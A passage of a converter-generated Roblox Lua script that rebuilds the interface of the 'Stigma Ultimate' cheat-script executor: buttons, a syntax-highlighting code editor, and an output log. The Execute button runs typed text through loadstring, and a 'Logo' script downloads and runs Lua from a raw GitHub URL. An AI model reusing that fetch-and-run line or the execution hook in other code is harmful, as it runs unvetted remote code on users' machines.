cdwashere["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["30"]["BackgroundTransparency"] = 1;
cdwashere["30"]["Size"] = UDim2.new(1, 0, 1, 0);
cdwashere["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["30"]["Text"] = [[]];
cdwashere["30"]["Name"] = [[Button]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.Button.LocalScript
cdwashere["31"] = Instance.new("LocalScript", cdwashere["30"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Load
cdwashere["32"] = Instance.new("ImageLabel", cdwashere["13"]);
cdwashere["32"]["BorderSizePixel"] = 0;
cdwashere["32"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["32"]["Image"] = [[rbxassetid://75573445620342]];
cdwashere["32"]["Size"] = UDim2.new(0, 49, 0, 91);
cdwashere["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["32"]["BackgroundTransparency"] = 1;
cdwashere["32"]["Name"] = [[Load]];
cdwashere["32"]["Position"] = UDim2.new(0, 488, 0, 232);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Load.Text
cdwashere["33"] = Instance.new("ImageLabel", cdwashere["32"]);
cdwashere["33"]["BorderSizePixel"] = 0;
cdwashere["33"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["33"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["33"]["Image"] = [[rbxassetid://136284563958419]];
cdwashere["33"]["Size"] = UDim2.new(0, 40, 0, 9);
cdwashere["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["33"]["BackgroundTransparency"] = 1;
cdwashere["33"]["Name"] = [[Text]];
cdwashere["33"]["Position"] = UDim2.new(0.5, -1, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Load.LocalScript
cdwashere["34"] = Instance.new("LocalScript", cdwashere["32"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Output
cdwashere["35"] = Instance.new("Frame", cdwashere["13"]);
cdwashere["35"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["35"]["Size"] = UDim2.new(0, 531, 0, 54);
cdwashere["35"]["Position"] = UDim2.new(0, 5, 0, 333);
cdwashere["35"]["BorderColor3"] = Color3.fromRGB(131, 136, 145);
cdwashere["35"]["Name"] = [[Output]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Output.Lines
cdwashere["36"] = Instance.new("ScrollingFrame", cdwashere["35"]);
cdwashere["36"]["Active"] = true;
cdwashere["36"]["BorderSizePixel"] = 0;
cdwashere["36"]["CanvasSize"] = UDim2.new(0, 0, 0, 0);
cdwashere["36"]["TopImage"] = [[rbxasset://textures/ui/Scroll/scroll-middle.png]];
cdwashere["36"]["BackgroundColor3"] = Color3.fromRGB(241, 241, 241);
cdwashere["36"]["Name"] = [[Lines]];
cdwashere["36"]["BottomImage"] = [[rbxasset://textures/ui/Scroll/scroll-middle.png]];
cdwashere["36"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["36"]["AutomaticCanvasSize"] = Enum.AutomaticSize.XY;
cdwashere["36"]["Size"] = UDim2.new(1, -2, 1, -2);
cdwashere["36"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["36"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
cdwashere["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Output.Lines.UIListLayout
cdwashere["37"] = Instance.new("UIListLayout", cdwashere["36"]);
cdwashere["37"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Output.Lines.LocalScript
cdwashere["38"] = Instance.new("LocalScript", cdwashere["36"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.>
cdwashere["39"] = Instance.new("ImageLabel", cdwashere["13"]);
cdwashere["39"]["BorderSizePixel"] = 0;
cdwashere["39"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["39"]["Image"] = [[rbxassetid://116962370783403]];
cdwashere["39"]["Size"] = UDim2.new(0, 6, 0, 7);
cdwashere["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["39"]["BackgroundTransparency"] = 1;
cdwashere["39"]["Name"] = [[>]];
cdwashere["39"]["Position"] = UDim2.new(0, 7, 0, 399);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.CmdBar
cdwashere["3a"] = Instance.new("ImageLabel", cdwashere["13"]);
cdwashere["3a"]["BorderSizePixel"] = 0;
cdwashere["3a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["3a"]["Image"] = [[rbxassetid://116191135841016]];
cdwashere["3a"]["Size"] = UDim2.new(0, 695, 0, 20);
cdwashere["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["3a"]["BackgroundTransparency"] = 1;
cdwashere["3a"]["Name"] = [[CmdBar]];
cdwashere["3a"]["Position"] = UDim2.new(0, 17, 0, 392);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.CmdBar.TextBox
cdwashere["3b"] = Instance.new("TextBox", cdwashere["3a"]);
cdwashere["3b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
cdwashere["3b"]["BorderSizePixel"] = 0;
cdwashere["3b"]["TextSize"] = 14;
cdwashere["3b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["3b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
cdwashere["3b"]["Size"] = UDim2.new(1, -4, 1, 0);
cdwashere["3b"]["Position"] = UDim2.new(0, 4, 0, 0);
cdwashere["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["3b"]["Text"] = [[]];
cdwashere["3b"]["BackgroundTransparency"] = 1;
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Frame
cdwashere["3c"] = Instance.new("Frame", cdwashere["13"]);
cdwashere["3c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
cdwashere["3c"]["Size"] = UDim2.new(0, 166, 0, 366);
cdwashere["3c"]["Position"] = UDim2.new(0, 543, 0, 6);
cdwashere["3c"]["BorderColor3"] = Color3.fromRGB(131, 136, 145);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dex
cdwashere["3d"] = Instance.new("ImageLabel", cdwashere["11"]);
cdwashere["3d"]["BorderSizePixel"] = 0;
cdwashere["3d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["3d"]["Image"] = [[rbxassetid://132955609022468]];
cdwashere["3d"]["Size"] = UDim2.new(0, 44, 0, 22);
cdwashere["3d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["3d"]["BackgroundTransparency"] = 1;
cdwashere["3d"]["Name"] = [[Dex]];
cdwashere["3d"]["Position"] = UDim2.new(1, -47, 0, 1);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dex.Text
cdwashere["3e"] = Instance.new("ImageLabel", cdwashere["3d"]);
cdwashere["3e"]["BorderSizePixel"] = 0;
cdwashere["3e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["3e"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["3e"]["Image"] = [[rbxassetid://124612305319416]];
cdwashere["3e"]["Size"] = UDim2.new(0, 26, 0, 8);
cdwashere["3e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["3e"]["BackgroundTransparency"] = 1;
cdwashere["3e"]["Name"] = [[Text]];
cdwashere["3e"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dex.LocalScript
cdwashere["3f"] = Instance.new("LocalScript", cdwashere["3d"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.R6
cdwashere["40"] = Instance.new("ImageLabel", cdwashere["11"]);
cdwashere["40"]["BorderSizePixel"] = 0;
cdwashere["40"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["40"]["Image"] = [[rbxassetid://94345372292839]];
cdwashere["40"]["Size"] = UDim2.new(0, 36, 0, 22);
cdwashere["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["40"]["BackgroundTransparency"] = 1;
cdwashere["40"]["Name"] = [[R6]];
cdwashere["40"]["Position"] = UDim2.new(1, -90, 0, 1);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.R6.Text
cdwashere["41"] = Instance.new("ImageLabel", cdwashere["40"]);
cdwashere["41"]["BorderSizePixel"] = 0;
cdwashere["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["41"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["41"]["Image"] = [[rbxassetid://71791492337681]];
cdwashere["41"]["Size"] = UDim2.new(0, 17, 0, 8);
cdwashere["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["41"]["BackgroundTransparency"] = 1;
cdwashere["41"]["Name"] = [[Text]];
cdwashere["41"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.R6.LocalScript
cdwashere["42"] = Instance.new("LocalScript", cdwashere["40"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Hide
cdwashere["43"] = Instance.new("ImageLabel", cdwashere["11"]);
cdwashere["43"]["BorderSizePixel"] = 0;
cdwashere["43"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["43"]["Image"] = [[rbxassetid://80519824964932]];
cdwashere["43"]["Size"] = UDim2.new(0, 60, 0, 22);
cdwashere["43"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["43"]["BackgroundTransparency"] = 1;
cdwashere["43"]["Name"] = [[Hide]];
cdwashere["43"]["Position"] = UDim2.new(1, -157, 0, 1);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Hide.Text
cdwashere["44"] = Instance.new("ImageLabel", cdwashere["43"]);
cdwashere["44"]["BorderSizePixel"] = 0;
cdwashere["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["44"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["44"]["Image"] = [[rbxassetid://105129982110125]];
cdwashere["44"]["Size"] = UDim2.new(0, 32, 0, 8);
cdwashere["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["44"]["BackgroundTransparency"] = 1;
cdwashere["44"]["Name"] = [[Text]];
cdwashere["44"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Hide.LocalScript
cdwashere["45"] = Instance.new("LocalScript", cdwashere["43"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dial
cdwashere["46"] = Instance.new("ImageLabel", cdwashere["11"]);
cdwashere["46"]["BorderSizePixel"] = 0;
cdwashere["46"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["46"]["Image"] = [[rbxassetid://112774266364294]];
cdwashere["46"]["Size"] = UDim2.new(0, 51, 0, 22);
cdwashere["46"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["46"]["BackgroundTransparency"] = 1;
cdwashere["46"]["Name"] = [[Dial]];
cdwashere["46"]["Position"] = UDim2.new(1, -215, 0, 1);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dial.Text
cdwashere["47"] = Instance.new("ImageLabel", cdwashere["46"]);
cdwashere["47"]["BorderSizePixel"] = 0;
cdwashere["47"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["47"]["AnchorPoint"] = Vector2.new(0.5, 0.5);
cdwashere["47"]["Image"] = [[rbxassetid://75781921916947]];
cdwashere["47"]["Size"] = UDim2.new(0, 33, 0, 8);
cdwashere["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["47"]["BackgroundTransparency"] = 1;
cdwashere["47"]["Name"] = [[Text]];
cdwashere["47"]["Position"] = UDim2.new(0.5, 0, 0.5, 0);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dial.LocalScript
cdwashere["48"] = Instance.new("LocalScript", cdwashere["46"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.FakeTabs
cdwashere["49"] = Instance.new("ImageLabel", cdwashere["11"]);
cdwashere["49"]["Interactable"] = false;
cdwashere["49"]["BorderSizePixel"] = 0;
cdwashere["49"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["49"]["Image"] = [[rbxassetid://125387927253553]];
cdwashere["49"]["Size"] = UDim2.new(0, 131, 0, 22);
cdwashere["49"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["49"]["BackgroundTransparency"] = 1;
cdwashere["49"]["Name"] = [[FakeTabs]];
cdwashere["49"]["Position"] = UDim2.new(0, 0, 0, 3);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.UIDragDetector
cdwashere["4a"] = Instance.new("UIDragDetector", cdwashere["2"]);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ImageLabel
cdwashere["4b"] = Instance.new("ImageLabel", cdwashere["2"]);
cdwashere["4b"]["BorderSizePixel"] = 0;
cdwashere["4b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
cdwashere["4b"]["Image"] = [[rbxassetid://71536695379015]];
cdwashere["4b"]["Size"] = UDim2.new(0, 115, 1, 0);
cdwashere["4b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
cdwashere["4b"]["BackgroundTransparency"] = 1;
cdwashere["4b"]["Position"] = UDim2.new(0, 0, 0, 1);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Logo
cdwashere["4c"] = Instance.new("LocalScript", cdwashere["2"]);
cdwashere["4c"]["Name"] = [[Logo]];
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.ExitButton.LocalScript
local function C_7()
local script = cdwashere["7"];
local buttonframe = script.Parent
local icon = buttonframe.Icon
buttonframe.MouseEnter:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(200, 44, 28)
icon.Image = "rbxassetid://124181583672545"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
icon.Image = "rbxassetid://89147200827095"
end)
end;
task.spawn(C_7);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Expand.LocalScript
local function C_b()
local script = cdwashere["b"];
local buttonframe = script.Parent
local icon = buttonframe.Icon
buttonframe.MouseEnter:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(240, 236, 236)
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
end)
end;
task.spawn(C_b);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Minimize.LocalScript
local function C_f()
local script = cdwashere["f"];
local buttonframe = script.Parent
local icon = buttonframe.Icon
buttonframe.MouseEnter:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(240, 236, 236)
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
end)
end;
task.spawn(C_f);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.TextBox.LineChecker
local function C_17()
local script = cdwashere["17"];
local textBox = script.Parent
local linesValue = script.Parent.Parent.LinesValue
local function countLines(text)
local _, count = string.gsub(text, "\n", "\n")
return count + 1
end
local lastLineCount = countLines(textBox.Text)
textBox:GetPropertyChangedSignal("Text"):Connect(function()
local currentLineCount = countLines(textBox.Text)
if currentLineCount ~= lastLineCount then
-- Update the NumberValue based on the difference
local diff = currentLineCount - lastLineCount
linesValue.Value += diff
lastLineCount = currentLineCount
end
end)
end;
task.spawn(C_17);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Lines
local function C_1c()
local script = cdwashere["1c"];
local scrollingFrame = script.Parent
local frame = scrollingFrame:FindFirstChild("LinesFrame")
local template = frame:FindFirstChild("TextLabelTemplate")
local linesValue = scrollingFrame:FindFirstChild("LinesValue")
if not frame or not template or not linesValue then
warn("LOL, something went wrong in the code dummy")-------------------------------------------------------------------------------------
return
end
local clones = {}
--local currentLineCount = linesValue.Value
local currentLineCount = 1
linesValue:GetPropertyChangedSignal("Value"):Connect(function()
local newLineCount = linesValue.Value
if newLineCount > currentLineCount then
for _ = 1, newLineCount - currentLineCount do
local clone = template:Clone()
clone.Visible = true
clone.Text = tostring(#clones + 2)
clone.Parent = frame
table.insert(clones, clone)
end
elseif newLineCount < currentLineCount then
for _ = 1, currentLineCount - newLineCount do
local lastClone = table.remove(clones)
if lastClone then
lastClone:Destroy()
end
end
end
currentLineCount = newLineCount
end)
end;
task.spawn(C_1c);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Syntax
local function C_1f()
local script = cdwashere["1f"];
local scrollingFrame = script.Parent
local textBox = scrollingFrame:WaitForChild("TextBox")
local highlightLabel = scrollingFrame:WaitForChild("Highlighting")
local keywords = {
-- Lua base
["and"] = true, ["break"] = true, ["do"] = true, ["else"] = true,
["elseif"] = true, ["end"] = true, ["false"] = true, ["for"] = true,
["function"] = true, ["if"] = true, ["in"] = true, ["local"] = true,
["nil"] = true, ["not"] = true, ["or"] = true, ["repeat"] = true,
["return"] = true, ["then"] = true, ["true"] = true, ["until"] = true,
["while"] = true,["require"] = true,
-- Lua globals
["print"] = true, ["pairs"] = true, ["ipairs"] = true, ["next"] = true,
["tonumber"] = true, ["tostring"] = true, ["type"] = true, ["pcall"] = true,
["xpcall"] = true, ["coroutine"] = true, ["table"] = true, ["string"] = true,
["math"] = true, ["os"] = true,
-- Roblox common types/functions
["game"] = true, ["workspace"] = true, ["script"] = true, ["Instance"] = true,
["Vector3"] = true, ["CFrame"] = true, ["Color3"] = true, ["UDim2"] = true,
["Enum"] = true, ["wait"] = true, ["delay"] = true, ["spawn"] = true,
["tick"] = true, ["time"] = true,
}
local colorMap = {
["keyword"] = Color3.fromRGB(255, 112, 129),
["string"] = Color3.fromRGB(172, 235, 144),
["comment"] = Color3.fromRGB(120, 120, 120),
["number"] = Color3.fromRGB(255, 196, 1),
}
local function highlight(code)
local result = ""
local i = 1
while i <= #code do
local char = code:sub(i, i)
if code:sub(i, i+1) == "--" then
local comment = code:sub(i):match("^%-%-[^\n]*")
result ..= `{comment}`
i += #comment
elseif char == '"' or char == "'" then
local quote = char
local s, e = code:find(quote..".-"..quote, i)
if s then
local str = code:sub(s, e)
result ..= `{str}`
i = e + 1
else
result ..= char
i += 1
end
elseif code:sub(i):match("^%d") then
local num = code:sub(i):match("^%d+%.?%d*")
result ..= `{num}`
i += #num
elseif code:sub(i):match("^%a") then
local word = code:sub(i):match("^[%a_][%w_]*")
if keywords[word] then
result ..= `{word}`
else
result ..= word
end
i += #word
else
result ..= char
i += 1
end
end
return result
end
local function sync()
highlightLabel.Text = highlight(textBox.Text)
highlightLabel.Size = textBox.Size
highlightLabel.Position = textBox.Position
end
textBox:GetPropertyChangedSignal("Text"):Connect(sync)
textBox:GetPropertyChangedSignal("CursorPosition"):Connect(sync)
textBox:GetPropertyChangedSignal("Size"):Connect(sync)
sync()
end;
task.spawn(C_1f);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.Selector
local function C_21()
local script = cdwashere["21"];
local fastTextBox = script.Parent
local textBox = fastTextBox:WaitForChild("TextBox")
local selector = fastTextBox:WaitForChild("LineSelector")
local lineHeight = textBox.TextSize
selector.BackgroundTransparency = 0.85
local TweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local function updateLineSelector()
local cursor = textBox.CursorPosition
if cursor <= 0 then
selector.Visible = false
return
end
local textBeforeCursor = textBox.Text:sub(1, cursor)
local lineNumber = select(2, textBeforeCursor:gsub("\n", "\n")) + 1
local targetPosition = UDim2.new(0, 20, 0, (lineNumber - 1) * lineHeight)
local targetSize = UDim2.new(1, 0, 0, lineHeight)
TweenService:Create(selector, tweenInfo, {
Position = targetPosition,
Size = targetSize,
}):Play()
selector.Visible = true
end
textBox:GetPropertyChangedSignal("CursorPosition"):Connect(updateLineSelector)
textBox:GetPropertyChangedSignal("Text"):Connect(updateLineSelector)
updateLineSelector()
end;
task.spawn(C_21);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.CursorScript
local function C_23()
local script = cdwashere["23"];
local fastTextBox = script.Parent
local textBox = fastTextBox:WaitForChild("TextBox")
local cursorFrame = fastTextBox:WaitForChild("Cursor")
local measurer = fastTextBox:WaitForChild("TextMeasurer")
local blinkInterval = 0.5
local offsetX = 20
local lineHeight = textBox.TextSize
cursorFrame.Size = UDim2.new(0, 1, 0, lineHeight)
cursorFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
local function updateCursor()
local cursorPos = textBox.CursorPosition
if cursorPos <= 0 then
cursorFrame.Visible = false
return
end
local textBeforeCursor = textBox.Text:sub(1, cursorPos - 1)
local lineNumber = select(2, textBeforeCursor:gsub("\n", "\n")) + 1
local lastNewline = textBeforeCursor:match(".*()\n")
local currentLineText = lastNewline and textBeforeCursor:sub(lastNewline + 1) or textBeforeCursor
measurer.Text = currentLineText
local textWidth = measurer.TextBounds.X
local xPos = textWidth + offsetX
local yPos = (lineNumber - 1) * lineHeight
cursorFrame.Position = UDim2.new(0, xPos, 0, yPos)
cursorFrame.Visible = true
end
local function blink()
while true do
cursorFrame.Visible = not cursorFrame.Visible
wait(blinkInterval)
end
end
textBox:GetPropertyChangedSignal("CursorPosition"):Connect(updateCursor)
textBox:GetPropertyChangedSignal("Text"):Connect(updateCursor)
spawn(blink)
updateCursor()
end;
task.spawn(C_23);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.FastColoredTextbox.Scroll.AutomaticScrollBarSize
local function C_25()
local script = cdwashere["25"];
local scrollingFrame = script.Parent
local textBox = scrollingFrame:WaitForChild("TextBox")
local textService = game:GetService("TextService")
local function updateCanvasSize()
local textSize = textService:GetTextSize(
textBox.Text,
textBox.TextSize,
textBox.Font,
Vector2.new(math.huge, math.huge)
)
local paddingX, paddingY = 10, 10
scrollingFrame.CanvasSize = UDim2.new(
0, textSize.X + paddingX,
0, textSize.Y + paddingY
)
end
textBox:GetPropertyChangedSignal("Text"):Connect(updateCanvasSize)
updateCanvasSize()
end;
task.spawn(C_25);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.LocalScript
local function C_2a()
local script = cdwashere["2a"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://135868158416070"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://75573445620342"
end)
end;
task.spawn(C_2a);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Execute.Button.LocalScript
local function C_2c()
local script = cdwashere["2c"];
local fastcoloredtextbox = script.Parent.Parent.Parent.FastColoredTextbox
script.Parent.MouseButton1Click:Connect(function()
loadstring(fastcoloredtextbox.Scroll.TextBox.Text)()
end)
end;
task.spawn(C_2c);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.LocalScript
local function C_2f()
local script = cdwashere["2f"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://90705258500182"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://75573445620342"
end)
end;
task.spawn(C_2f);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Clear.Button.LocalScript
local function C_31()
local script = cdwashere["31"];
local fastcoloredtextbox = script.Parent.Parent.Parent.FastColoredTextbox
script.Parent.MouseButton1Click:Connect(function()
fastcoloredtextbox.Scroll.TextBox.Text = ""
fastcoloredtextbox.Scroll.Highlighting.Text = ""
fastcoloredtextbox.Scroll.TextMeasurer.Text = ""
end)
end;
task.spawn(C_31);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Load.LocalScript
local function C_34()
local script = cdwashere["34"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://99787951177033"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://75573445620342"
end)
end;
task.spawn(C_34);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Inside.Output.Lines.LocalScript
local function C_38()
local script = cdwashere["38"];
local log_service = game:GetService("LogService")
local scrolling_frame = script.Parent
local function get_time_string()
local time = os.date("*t")
return string.format("[%02d:%02d:%02d]", time.hour, time.min, time.sec)
end
local function create_log_label(message, message_type)
local label = Instance.new("TextLabel",scrolling_frame)
label.Size = UDim2.new(1, 0, 0, 20)
label.BackgroundTransparency = 1
label.TextXAlignment = Enum.TextXAlignment.Left
label.Font = Enum.Font.SourceSans
label.TextSize = 16
label.TextWrapped = true
local timestamp = get_time_string()
label.Text = string.format("%s %s", timestamp, message)
if message_type == Enum.MessageType.MessageOutput then
label.TextColor3 = Color3.fromRGB(0, 0, 0)
elseif message_type == Enum.MessageType.MessageWarning then
label.TextColor3 = Color3.fromRGB(255, 255, 0)
elseif message_type == Enum.MessageType.MessageError then
label.TextColor3 = Color3.fromRGB(255, 0, 0)
else
label.TextColor3 = Color3.fromRGB(200, 200, 200)
end
end
log_service.MessageOut:Connect(function(message, message_type)
create_log_label(message, message_type)
end)
end;
task.spawn(C_38);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dex.LocalScript
local function C_3f()
local script = cdwashere["3f"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://83505663931886"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://132955609022468"
end)
end;
task.spawn(C_3f);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.R6.LocalScript
local function C_42()
local script = cdwashere["42"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://127869245380602"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://94345372292839"
end)
end;
task.spawn(C_42);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Hide.LocalScript
local function C_45()
local script = cdwashere["45"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://76507323936918"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://80519824964932"
end)
end;
task.spawn(C_45);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Executor.Dial.LocalScript
local function C_48()
local script = cdwashere["48"];
local buttonframe = script.Parent
buttonframe.MouseEnter:Connect(function()
buttonframe.Image = "rbxassetid://135274225468305"
end)
buttonframe.MouseLeave:Connect(function()
buttonframe.Image = "rbxassetid://112774266364294"
end)
end;
task.spawn(C_48);
-- StarterGui.Stigma Ultimate (Lua Version).TopBar.Logo
local function C_4c()
local script = cdwashere["4c"];
if script.Parent.Parent.Enabled ~= true then
return
end
loadstring(game:HttpGet("https://raw.githubusercontent.com/C-Dr1ve/Executor-Remakes-In-Lua/refs/heads/main/Logos/Stigma.lua"))()
end;
task.spawn(C_4c);
return cdwashere["1"], require;
end)
end
coroutine.wrap(VXTG_fake_script)()
local function CQYG_fake_script() -- johndoe.LocalScript
